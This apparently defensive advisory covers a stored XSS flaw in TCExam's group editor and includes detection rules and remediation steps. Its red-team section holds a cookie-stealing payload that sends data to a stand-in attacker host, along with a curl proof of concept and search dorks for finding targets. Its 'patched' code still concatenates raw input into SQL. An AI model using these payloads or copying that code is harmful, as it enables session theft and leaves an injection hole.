CVE-2026-4168

SHADOW_DORKS: ["inurl:/admin/code/tce_edit_group.php", "intitle:TCExam "Group Handler""]

Executive Summary

CVE-2026-4168 is a stored cross-site scripting (XSS) vulnerability identified in Tecnick TCExam version 16.5.0. The flaw resides in the /admin/code/tce_edit_group.php file within the Group Handler component. An attacker can inject arbitrary JavaScript or HTML via the Name argument, which is not properly sanitized. The vulnerability is remotely exploitable with low complexity and requires user interaction. The vendor reported that the exploit could not be reproduced on a later version, suggesting the issue was fixed in a subsequent release. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the public availability of the exploit increases the risk for unpatched instances.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects the standalone TCExam PHP application.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 2.4 (Low)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Low. The vulnerability requires user interaction and only allows limited integrity impact (e.g., defacement or session theft). However, the public exploit and lack of a confirmed patch make it a concern for organizations using TCExam 16.5.0.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the TCExam Group Handler. The Name parameter in /admin/code/tce_edit_group.php is not sanitized before being stored in the database and later rendered in the admin interface. An attacker can craft a malicious payload such as:

<script>alert('XSS')</script>

When an administrator views the group list, the script executes in their browser, potentially allowing the attacker to steal session cookies, perform actions on behalf of the admin, or deface the page.

The vendor's statement indicates that the exploit was not reproducible on a later version, implying that input sanitization or output encoding was added in a subsequent release.

Vulnerable vs. Patched Code

Vulnerable Code (TCExam 16.5.0):

// /admin/code/tce_edit_group.php (simplified)
$group_name = $_POST['Name'];
// No sanitization
$sql = "INSERT INTO tce_groups (group_name) VALUES ('$group_name')";
// Later, when displaying:
echo "<td>" . $group_name . "</td>";

Patched Code (hypothetical fix):

// Patched version
$group_name = htmlspecialchars($_POST['Name'], ENT_QUOTES, 'UTF-8');
$sql = "INSERT INTO tce_groups (group_name) VALUES ('$group_name')";
// When displaying:
echo "<td>" . $group_name . "</td>";

The fix uses htmlspecialchars() to encode HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• TCExam 16.5.0 instance
• Access to the admin panel (any authenticated user with group creation privileges)

Exploit Steps:

1. Log in to TCExam as an admin.
2. Navigate to /admin/code/tce_edit_group.php.
3. In the Name field, inject a payload:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Submit the form.
5. When another admin views the group list, the script executes, sending their session cookie to the attacker.

Proof-of-Concept (PoC):

curl -X POST "http://target.tld/admin/code/tce_edit_group.php" \
  -d "Name=<script>alert('XSS')</script>&group_id=1&action=save"

Blue Team

Detection:

• Monitor HTTP POST requests to /admin/code/tce_edit_group.php with suspicious Name parameters containing <script>, onerror, or other HTML event handlers.
• Look for outbound connections to unknown domains from the TCExam server.

Hunting:

• Search web server logs for requests to /admin/code/tce_edit_group.php with Name containing %3Cscript%3E or similar URL-encoded HTML tags.
• Check the tce_groups database table for entries containing < or > characters.

Indicators of Compromise (IOCs)

• Network:

  • HTTP POST requests to /admin/code/tce_edit_group.php with Name parameter containing <script> or onerror attributes.
  • Outbound HTTP requests to attacker-controlled domains from the TCExam server.

• File System:

  • Modified entries in the tce_groups table containing HTML/JavaScript.

• Logs:

  • Web server logs showing POST /admin/code/tce_edit_group.php with Name=<script>.

Detection Engineering

YARA Rule

rule CVE_2026_4168_TCExam_XSS {
    meta:
        description = "Detects XSS payload in TCExam group name"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-4168"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $event_handler = /on\w+\s*=\s*['"][^'"]*['"]/i
    condition:
        $xss_payload or $event_handler
}

Sigma Rule

title: TCExam Group Handler XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS attempts against TCExam group handler
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/admin/code/tce_edit_group.php'
    keywords:
        - 'Name='
        - '<script'
        - 'onerror'
        - 'onload'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in group names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-4168 TCExam Group Handler XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/code/tce_edit_group.php"; http_uri; content:"Name="; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Upgrade TCExam: Upgrade to the latest version of TCExam (post-16.5.0) where the vendor states the issue is fixed.
2. Input Validation: Implement strict input validation and output encoding for all user-supplied data, especially in the Group Handler.
3. Web Application Firewall (WAF): Deploy a WAF rule to block requests containing <script> or event handlers in the Name parameter.
4. Least Privilege: Restrict admin panel access to trusted users only.
5. Monitor Logs: Regularly review web server logs for suspicious POST requests to /admin/code/tce_edit_group.php.

Valters IT